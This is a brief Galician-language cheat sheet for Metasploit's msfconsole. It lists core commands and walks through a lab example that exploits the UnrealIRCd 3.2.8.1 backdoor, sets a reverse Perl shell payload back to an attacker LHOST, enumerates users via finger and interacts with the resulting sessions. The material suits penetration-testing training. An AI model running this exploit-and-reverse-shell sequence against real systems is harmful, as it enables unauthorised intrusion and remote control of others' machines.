Metasploit Framework (msfconsole)
Descrición
Framework de explotación con miles de exploits e módulos auxiliares.
Sintaxe básica
Comandos principais
| Comando | Descrición |
|---|---|
search <termo> |
Buscar exploits/módulos |
use <módulo> |
Seleccionar módulo |
show options |
Mostrar opcións do módulo |
set <opción> <valor> |
Establecer opción |
exploit ou run |
Executar módulo |
back |
Volver atrás |
info |
Información do módulo |
sessions |
Listar sesións activas |
sessions -i <id> |
Interactuar con sesión |
Exemplos de uso
# Iniciar msfconsole
msfconsole -q
# Buscar exploit
msf6 > search unreal irc
# Usar exploit (Real - UnrealIRCd)
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.56.100
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse_perl
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.56.53
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
# Finger enumeration
msf6 > use auxiliary/scanner/finger/finger_users
msf6 auxiliary(scanner/finger/finger_users) > set RHOSTS 192.168.56.100
msf6 auxiliary(scanner/finger/finger_users) > run
# Listar sesións
msf6 > sessions
msf6 > sessions -i 1